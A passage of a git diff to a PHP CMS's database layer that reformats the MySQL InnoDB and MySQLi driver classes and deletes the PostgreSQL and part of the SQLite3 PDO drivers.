* @return boolean - */ - function _commit() { - $connection = $this->_getConnection('master'); - $this->_query("commit", $connection); - return true; - } + if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '`' . implode($primary_list, '`,`') . '`'); + } - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) { - // Run the query statement - $result = @mysql_query($query, $connection); - // Error Check - if(mysql_error($connection)) $this->setError(mysql_errno($connection), mysql_error($connection)); - // Return result - return $result; - } + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $column_schema[] = sprintf("unique %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $column_schema[] = sprintf("index %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; + $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n"), "ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci"); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; + $output = $this->_query($schema); + if(!$output) + { + return false; + } + } - $column_schema[] = sprintf('`%s` %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'', - $auto_increment?'auto_increment':'' - ); - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", '`'.implode($primary_list,'`,`').'`'); - } - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("unique %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $column_schema[] = sprintf("index %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } - - $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema,",\n"), "ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci"); - - $output = $this->_query($schema); - if(!$output) return false; - } - } -?> +} +/* End of file DBMysql_innodb.class.php */ +/* Location: ./classes/db/DBMysql_innodb.class.php */ diff --git a/classes/db/DBMysqli.class.php b/classes/db/DBMysqli.class.php index cb675f27b..2f4f4f723 100644 --- a/classes/db/DBMysqli.class.php +++ b/classes/db/DBMysqli.class.php @@ -1,386 +1,447 @@ _setDBInfo(); + $this->_connect(); + } - /** - * Constructor - * @return void - **/ - function DBMysqli() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * Return if supportable - * Check 'mysqli_connect' function exists. - * @return boolean - */ - function isSupported() { - if(!function_exists('mysqli_connect')) return false; - return true; - } - - /** - * Create an instance of this class - * @return DBMysqli return DBMysqli object instance - */ - function create() + /** + * Return if supportable + * Check 'mysqli_connect' function exists. + * @return boolean + */ + function isSupported() + { + if(!function_exists('mysqli_connect')) { - return new DBMysqli; + return false; + } + return true; + } + + /** + * Create an instance of this class + * @return DBMysqli return DBMysqli object instance + */ + function create() + { + return new DBMysqli; + } + + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + // Attempt to connect + if($connection["db_port"]) + { + $result = @mysqli_connect($connection["db_hostname"] + , $connection["db_userid"] + , $connection["db_password"] + , $connection["db_database"] + , $connection["db_port"]); + } + else + { + $result = @mysqli_connect($connection["db_hostname"] + , $connection["db_userid"] + , $connection["db_password"] + , $connection["db_database"]); + } + $error = mysqli_connect_errno(); + if($error) + { + $this->setError($error, mysqli_connect_error()); + return; + } + mysqli_set_charset($result, 'utf8'); + return $result; + } + + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + mysqli_close($connection); + } + + /** + * Handles quatation of the string variables from the query + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + if(!is_numeric($string)) + { + $connection = $this->_getConnection('master'); + $string = mysqli_escape_string($connection, $string); + } + return $string; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if($this->use_prepared_statements == 'Y') + { + // 1. Prepare query + $stmt = mysqli_prepare($connection, $query); + if($stmt) + { + $types = ''; + $params = array(); + $this->_prepareQueryParameters($types, $params); + + if(!empty($params)) + { + $args[0] = $stmt; + $args[1] = $types; + + $i = 2; + foreach($params as $key => $param) + { + $copy[$key] = $param; + $args[$i++] = &$copy[$key]; + } + + // 2. Bind parameters + $status = call_user_func_array('mysqli_stmt_bind_param', $args); + if(!$status) + { + $this->setError(-1, "Invalid arguments: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); + } + } + + // 3. Execute query + $status = mysqli_stmt_execute($stmt); + + if(!$status) + { + $this->setError(-1, "Prepared statement failed: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); + } + + // Return stmt for other processing - like retrieving resultset (_fetch) + return $stmt; + // mysqli_stmt_close($stmt); + } + } + // Run the query statement + $result = mysqli_query($connection, $query); + // Error Check + $error = mysqli_error($connection); + if($error) + { + $this->setError(mysqli_errno($connection), $error); + } + // Return result + return $result; + } + + /** + * Before execute query, prepare statement + * this method is private + * @param string $types + * @param array $params + * @return void + */ + function _prepareQueryParameters(&$types, &$params) + { + $types = ''; + $params = array(); + if(!$this->param) + { + return; } - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) { - // Attempt to connect - if ($connection["db_port"]) { - $result = @mysqli_connect($connection["db_hostname"] - , $connection["db_userid"] - , $connection["db_password"] - , $connection["db_database"] - , $connection["db_port"]); - } else { - $result = @mysqli_connect($connection["db_hostname"] - , $connection["db_userid"] - , $connection["db_password"] - , $connection["db_database"]); - } - $error = mysqli_connect_errno(); - if($error) { - $this->setError($error,mysqli_connect_error()); - return; - } - mysqli_set_charset($result,'utf8'); - return $result; - } + foreach($this->param as $k => $o) + { + $value = $o->getUnescapedValue(); + $type = $o->getType(); - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - mysqli_close($connection); - } - - /** - * Handles quatation of the string variables from the query - * @param string $string - * @return string - */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)){ - $connection = $this->_getConnection('master'); - $string = mysqli_escape_string($connection,$string); - } - return $string; - } - - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) { - if($this->use_prepared_statements == 'Y') - { - // 1. Prepare query - $stmt = mysqli_prepare($connection, $query); - if($stmt){ - $types = ''; - $params = array(); - $this->_prepareQueryParameters($types, $params); - - if(!empty($params)) - { - $args[0] = $stmt; - $args[1] = $types; - - $i = 2; - foreach($params as $key => $param) { - $copy[$key] = $param; - $args[$i++] = &$copy[$key]; - } - - // 2. Bind parameters - $status = call_user_func_array('mysqli_stmt_bind_param',$args); - if(!$status) - $this->setError(-1, "Invalid arguments: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); - } - - // 3. Execute query - $status = mysqli_stmt_execute($stmt); - - if(!$status) - $this->setError(-1, "Prepared statement failed: $query" . mysqli_error($connection) . PHP_EOL . print_r($args, true)); - - // Return stmt for other processing - like retrieving resultset (_fetch) - return $stmt; - // mysqli_stmt_close($stmt); - } - + // Skip column names -> this should be concatenated to query string + if($o->isColumnName()) + { + continue; } - // Run the query statement - $result = mysqli_query($connection,$query); - // Error Check - $error = mysqli_error($connection); - if($error){ - $this->setError(mysqli_errno($connection), $error); + + switch($type) + { + case 'number' : + $type = 'i'; + break; + case 'varchar' : + $type = 's'; + break; + default: + $type = 's'; } - // Return result - return $result; - } - - /** - * Before execute query, prepare statement - * this method is private - * @param string $types - * @param array $params - * @return void - */ - function _prepareQueryParameters(&$types, &$params){ - $types = ''; - $params = array(); - if(!$this->param) return; - - foreach($this->param as $k => $o){ - $value = $o->getUnescapedValue(); - $type = $o->getType(); - - // Skip column names -> this should be concatenated to query string - if($o->isColumnName()) continue; - - switch($type) + + if(is_array($value)) + { + foreach($value as $v) { - case 'number' : - $type = 'i'; - break; - case 'varchar' : - $type = 's'; - break; - default: - $type = 's'; - } - - if(is_array($value)) - { - foreach($value as $v) - { - $params[] = $v; - $types .= $type; - } - } - else { - $params[] = $value; + $params[] = $v; $types .= $type; } - - - - } + } + else + { + $params[] = $value; + $types .= $type; + } } - - /** - * Fetch the result - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) { - if($this->use_prepared_statements != 'Y'){ - return parent::_fetch($result, $arrayIndexEndValue); - } - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; - - // Prepared stements: bind result variable and fetch data - $stmt = $result; - $meta = mysqli_stmt_result_metadata($stmt); - $fields = mysqli_fetch_fields($meta); + } - /** - * Mysqli has a bug that causes LONGTEXT columns not to get loaded - * Unless store_result is called before - * MYSQLI_TYPE for longtext is 252 - */ - $longtext_exists = false; - foreach($fields as $field) - { - if(isset($resultArray[$field->name])) // When joined tables are used and the same column name appears twice, we should add it separately, otherwise bind_result fails - $field->name = 'repeat_' . $field->name; - - // Array passed needs to contain references, not values - $row[$field->name] = ""; - $resultArray[$field->name] = &$row[$field->name]; - - if($field->type == 252) $longtext_exists = true; - } - $resultArray = array_merge(array($stmt), $resultArray); - - if($longtext_exists) - { - mysqli_stmt_store_result($stmt); - } - - call_user_func_array('mysqli_stmt_bind_result', $resultArray); - - $rows = array(); - while(mysqli_stmt_fetch($stmt)) - { - $resultObject = new stdClass(); - - foreach($resultArray as $key => $value) - { - if($key === 0) continue; // Skip stmt object - if(strpos($key, 'repeat_')) $key = substr($key, 6); - $resultObject->$key = $value; - } - - $rows[] = $resultObject; - } - - mysqli_stmt_close($stmt); - - if($arrayIndexEndValue) - { - foreach($rows as $row) - { - $output[$arrayIndexEndValue--] = $row; - } - } - else - { - $output = $rows; - } - - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - - return $output; - } - - /** - * Handles insertAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeInsertAct($queryObject, $with_values = false){ - if($this->use_prepared_statements != 'Y') - { - return parent::_executeInsertAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeInsertAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handles updateAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeUpdateAct($queryObject, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeUpdateAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeUpdateAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handles deleteAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeDeleteAct($queryObject, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeDeleteAct($queryObject); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeDeleteAct($queryObject, $with_values); - unset($this->param); - return $result; - } - - /** - * Handle selectAct - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object - */ - function _executeSelectAct($queryObject, $connection = null, $with_values = false) { - if($this->use_prepared_statements != 'Y') - { - return parent::_executeSelectAct($queryObject, $connection); - } - $this->param = $queryObject->getArguments(); - $result = parent::_executeSelectAct($queryObject, $connection, $with_values); - unset($this->param); - return $result; - } - - /** - * Get the ID generated in the last query - * Return next sequence from sequence table - * This method use only mysql - * @return int - */ - function db_insert_id() + /** + * Fetch the result + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + if($this->use_prepared_statements != 'Y') { - $connection = $this->_getConnection('master'); - return mysqli_insert_id($connection); + return parent::_fetch($result, $arrayIndexEndValue); + } + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; } + // Prepared stements: bind result variable and fetch data + $stmt = $result; + $meta = mysqli_stmt_result_metadata($stmt); + $fields = mysqli_fetch_fields($meta); + /** - * Fetch a result row as an object - * @param resource $result - * @return object + * Mysqli has a bug that causes LONGTEXT columns not to get loaded + * Unless store_result is called before + * MYSQLI_TYPE for longtext is 252 */ - function db_fetch_object(&$result) + $longtext_exists = false; + foreach($fields as $field) { - return mysqli_fetch_object($result); + if(isset($resultArray[$field->name])) // When joined tables are used and the same column name appears twice, we should add it separately, otherwise bind_result fails + { + $field->name = 'repeat_' . $field->name; + } + + // Array passed needs to contain references, not values + $row[$field->name] = ""; + $resultArray[$field->name] = &$row[$field->name]; + + if($field->type == 252) + { + $longtext_exists = true; + } } - - /** - * Free result memory - * @param resource $result - * @return boolean Returns TRUE on success or FALSE on failure. - */ - function db_free_result(&$result){ - return mysqli_free_result($result); - } - } -?> + $resultArray = array_merge(array($stmt), $resultArray); + + if($longtext_exists) + { + mysqli_stmt_store_result($stmt); + } + + call_user_func_array('mysqli_stmt_bind_result', $resultArray); + + $rows = array(); + while(mysqli_stmt_fetch($stmt)) + { + $resultObject = new stdClass(); + + foreach($resultArray as $key => $value) + { + if($key === 0) + { + continue; // Skip stmt object + } + if(strpos($key, 'repeat_')) + { + $key = substr($key, 6); + } + $resultObject->$key = $value; + } + + $rows[] = $resultObject; + } + + mysqli_stmt_close($stmt); + + if($arrayIndexEndValue) + { + foreach($rows as $row) + { + $output[$arrayIndexEndValue--] = $row; + } + } + else + { + $output = $rows; + } + + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + + return $output; + } + + /** + * Handles insertAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeInsertAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeInsertAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeInsertAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handles updateAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeUpdateAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeUpdateAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeUpdateAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeDeleteAct($queryObject, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeDeleteAct($queryObject); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeDeleteAct($queryObject, $with_values); + unset($this->param); + return $result; + } + + /** + * Handle selectAct + * In order to get a list of pages easily when selecting \n + * it supports a method as navigation + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object + */ + function _executeSelectAct($queryObject, $connection = null, $with_values = false) + { + if($this->use_prepared_statements != 'Y') + { + return parent::_executeSelectAct($queryObject, $connection); + } + $this->param = $queryObject->getArguments(); + $result = parent::_executeSelectAct($queryObject, $connection, $with_values); + unset($this->param); + return $result; + } + + /** + * Get the ID generated in the last query + * Return next sequence from sequence table + * This method use only mysql + * @return int + */ + function db_insert_id() + { + $connection = $this->_getConnection('master'); + return mysqli_insert_id($connection); + } + + /** + * Fetch a result row as an object + * @param resource $result + * @return object + */ + function db_fetch_object(&$result) + { + return mysqli_fetch_object($result); + } + + /** + * Free result memory + * @param resource $result + * @return boolean Returns TRUE on success or FALSE on failure. + */ + function db_free_result(&$result) + { + return mysqli_free_result($result); + } + +} +/* End of file DBMysqli.class.php */ +/* Location: ./classes/db/DBMysqli.class.php */ diff --git a/classes/db/DBPostgresql.class.php b/classes/db/DBPostgresql.class.php deleted file mode 100644 index ddab2eac8..000000000 --- a/classes/db/DBPostgresql.class.php +++ /dev/null @@ -1,600 +0,0 @@ - 'bigint', - 'number' => 'integer', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'text', - 'date' => 'varchar(14)', - 'float' => 'real', - ); - - /** - * @brief constructor - **/ - function DBPostgresql() - { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBPostgresql; - } - - /** - * @brief Return if it is installable - **/ - function isSupported() - { - if (!function_exists('pg_connect')) - return false; - return true; - } - - /** - * @brief DB Connection - **/ - function __connect($connection) - { - // the connection string for PG - $conn_string = ""; - // Create connection string - $conn_string .= ($connection["db_hostname"]) ? ' host='.$connection["db_hostname"] : ""; - $conn_string .= ($connection["db_userid"]) ? " user=" . $connection["db_userid"] : ""; - $conn_string .= ($connection["db_password"]) ? " password=" . $connection["db_password"] : ""; - $conn_string .= ($connection["db_database"]) ? " dbname=" . $connection["db_database"] : ""; - $conn_string .= ($connection["db_port"]) ? " port=" . $connection["db_port"] : ""; - - // Attempt to connect - $result = @pg_connect($conn_string); - if (!$result || pg_connection_status($result) != PGSQL_CONNECTION_OK) { - $this->setError(-1, "CONNECTION FAILURE"); - return; - } - return $result; - } - - /** - * @brief DB disconnection - **/ - function _close($connection) - { - @pg_close($connection); - } - - /** - * @brief Add quotes on the string variables in a query - **/ - function addQuotes($string) - { - if (version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) - $string = stripslashes(str_replace("\\", "\\\\", $string)); - if (!is_numeric($string)) - $string = @pg_escape_string($string); - return $string; - } - - /** - * @brief Begin transaction - **/ - function _begin() - { - $connection = $this->_getConnection('master'); - if (!$this->_query('BEGIN')) return false; - return true; - } - - /** - * @brief Rollback - **/ - function _rollback() - { - if (!$this->_query('ROLLBACK')) return false; - return true; - } - - /** - * @brief Commits - **/ - function _commit() - { - if (!$this->_query('COMMIT')) return false; - return true; - } - - /** - * @brief : Run a query and fetch the result - * - * query: run a query and return the result \n - * fetch: NULL if no value is returned \n - * array object if rows are returned \n - * object if a row is returned \n - * return\n - **/ - function __query($query, $connection) - { - if (!$this->isConnected()) - return; - - /* - $l_query_array = explode(" ", $query); - if ($l_query_array[0] = "update") - { - if (strtolower($l_query_array[2]) == "as") - { - $l_query_array[2] = ""; - $l_query_array[3] = ""; - $query = implode(" ",$l_query_array); - } - } - else if ($l_query_array[0] = "delete") - { - if (strtolower($l_query_array[3]) == "as") - { - $l_query_array[3] = ""; - $l_query_array[4] = ""; - $query = implode(" ",$l_query_array); - } - } - */ - // Notify to start a query execution - // $arr = array('Hello', 'World!', 'Beautiful', 'Day!'); - // Run the query statement - $result = @pg_query($connection, $query); - // Error Check - if (!$result) { - // var_dump($l_query_array); - //var_dump($query); - //die("\nin query statement\n"); - //var_dump(debug_backtrace()); - $this->setError(1, pg_last_error($connection)); - } - // Return result - return $result; - } - - /** - * @brief Fetch results - **/ - // TODO This is duplicate code - maybe we can find away to abastract the driver - function _fetch($result, $arrayIndexEndValue = NULL) - { - if (!$this->isConnected() || $this->isError() || !$result) - return; - while ($tmp = pg_fetch_object($result)) { - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - return $output; - } - - /** - * @brief Return sequence value incremented by 1(in postgresql, auto_increment is used in the sequence table only) - **/ - function getNextSequence() - { - $query = sprintf("select nextval('%ssequence') as seq", $this->prefix); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - return $tmp->seq; - } - - /** - * @brief Return if a table already exists - **/ - function isTableExists($target_name) - { - if ($target_name == "sequence") - return true; - $query = sprintf("SELECT tablename FROM pg_tables WHERE tablename = '%s%s' AND schemaname = current_schema()", - $this->prefix, $this->addQuotes($target_name)); - - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if (!$tmp) - return false; - return true; - } - - /** - * @brief Add a column to a table - **/ - function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = - NULL, $notnull = false) - { - $type = $this->column_type[$type]; - if (strtoupper($type) == 'INTEGER' || strtoupper($type) == 'BIGINT') - $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - - if ($size) - $query .= sprintf(" %s(%s) ", $type, $size); - else - $query .= sprintf(" %s ", $type); - - $this->_query($query); - - if (isset($default)) { - $query = sprintf("alter table %s%s alter %s set default '%s' ", $this->prefix, $table_name, $column_name, $default); - $this->_query($query); - } - if ($notnull) { - $query = sprintf("update %s%s set %s = %s ", $this->prefix, $table_name, $column_name, $default); - $this->_query($query); - $query = sprintf("alter table %s%s alter %s set not null ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - } - - - /** - * @brief Return column information of a table - **/ - function isColumnExists($table_name, $column_name) - { - $query = sprintf("SELECT attname FROM pg_attribute WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = '%s%s') AND attname = '%s'", - $this->prefix, strtolower($table_name), strtolower($column_name)); - - // $query = sprintf("select column_name from information_schema.columns where table_schema = current_schema() and table_name = '%s%s' and column_name = '%s'", $this->prefix, $this->addQuotes($table_name), strtolower($column_name)); - $result = $this->_query($query); - if ($this->isError()) { - return; - } - $output = $this->_fetch($result); - if ($output) { - return true; - } - return false; - } - - /** - * @brief Add an index to a table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) - { - if (!is_array($target_columns)) - $target_columns = array($target_columns); - - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - $query = sprintf("create %s index %s on %s (%s);", $is_unique ? 'unique' : '', $index_name, - $table_name, implode(',', $target_columns)); - $this->_query($query); - } - - /** - * @brief Delete a column from a table - **/ - function dropColumn($table_name, $column_name) - { - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * @brief Drop an index from a table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) - { - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - $query = sprintf("drop index %s", $index_name); - $this->_query($query); - } - - - /** - * @brief Return index information of a table - **/ - function isIndexExists($table_name, $index_name) - { - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); - $query = sprintf("select indexname from pg_indexes where schemaname = current_schema() and tablename = '%s' and indexname = '%s'", - $table_name, strtolower($index_name)); - $result = $this->_query($query); - if ($this->isError()) - return; - $output = $this->_fetch($result); - - if ($output) { - return true; - } - // var_dump($query); - // die(" no index"); - return false; - } - - /** - * @brief Create a table by using xml file - **/ - function createTableByXml($xml_doc) - { - return $this->_createTable($xml_doc); - } - - /** - * @brief Create a table by using xml file - **/ - function createTableByXmlFile($file_name) - { - if (!file_exists($file_name)) - return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief generate a query statement to create a table by using schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) - { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - - if ($table_name == 'sequence') { - $query = sprintf('create sequence %s', $this->prefix . $table_name); - return $this->_query($query); - } - - if ($this->isTableExists($table_name)) - return; - $table_name = $this->prefix . $table_name; - - if (!is_array($xml_obj->table->column)) - $columns[] = $xml_obj->table->column; - else - $columns = $xml_obj->table->column; - - foreach ($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if ($type == "bignumber" || $type == "number") - $size = 0; - - $column_schema[] = sprintf('%s %s%s %s %s', $name, $this->column_type[$type], $size ? - '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? - 'not null' : ''); - - if ($primary_key) - $primary_list[] = $name; - else - if ($unique) - $unique_list[$unique][] = $name; - else - if ($index) - $index_list[$index][] = $name; - } - - if (count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", implode($primary_list, ',')); - } - - if (count($unique_list)) { - foreach ($unique_list as $key => $val) { - $column_schema[] = sprintf("unique (%s)", implode($val, ',')); - } - } - - - $schema = sprintf('create table %s (%s%s);', $this->addQuotes($table_name), "\n", - implode($column_schema, ",\n")); - - $output = $this->_query($schema); - - if (count($index_list)) { - foreach ($index_list as $key => $val) { - if (!$this->isIndexExists($table_name, $key)) - $this->addIndex($table_name, $key, $val); - } - } - - if (!$output) - return false; - - } - - - /** - * @brief Handle the insertAct - **/ - function _executeInsertAct($queryObject) - { - $query = $this->getInsertSql($queryObject); - if(is_a($query, 'Object')) return; - - return $this->_query($query); - } - - /** - * @brief Handle updateAct - **/ - function _executeUpdateAct($queryObject) - { - $query = $this->getUpdateSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_query($query); - } - - /** - * @brief Handle deleteAct - **/ - function _executeDeleteAct($queryObject) - { - $query = $this->getDeleteSql($queryObject); - - if(is_a($query, 'Object')) return; - return $this->_query($query); - } - - /** - * - * override - * @param $queryObject - */ - function getSelectSql($query){ - $select = $query->getSelectString(); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; - - $from = $query->getFromString(); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString(); - if($where != '') $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - $limitObject = $query->getLimit(); - if($limit != '') $limit = ' LIMIT ' . $limitObject->getLimit() . ' OFFSET ' . $limitObject->getOffset(); - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - /** - * @brief Handle selectAct - * - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - **/ - function _executeSelectAct($queryObject, $connection) - { - $query = $this->getSelectSql($queryObject); - - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - - // TODO Add support for click count - // TODO Add code for pagination - - $result = $this->_query ($query, $connection); - if ($this->isError ()) { - if ($limit && $output->limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } - - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= (__DEBUG_QUERY__&1 && $output->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int)$count_output->count; - - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $limit->list_count) + 1; - } else $total_page = 1; - - - $virtual_no = $total_count - ($limit->page - 1) * $limit->list_count; - $data = $this->_fetch($result, $virtual_no); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $limit->page->getValue(); - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $limit->page->getValue(), $limit->page_count); - }else{ - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - - return $buff; - } - - function getParser(){ - return new DBParser('"', '"', $this->prefix); - } -} -?> diff --git a/classes/db/DBSqlite3_pdo.class.php b/classes/db/DBSqlite3_pdo.class.php deleted file mode 100644 index e84a15b91..000000000 --- a/classes/db/DBSqlite3_pdo.class.php +++ /dev/null @@ -1,636 +0,0 @@ - 'INTEGER', - 'number' => 'INTEGER', - 'varchar' => 'VARCHAR', - 'char' => 'CHAR', - 'text' => 'TEXT', - 'bigtext' => 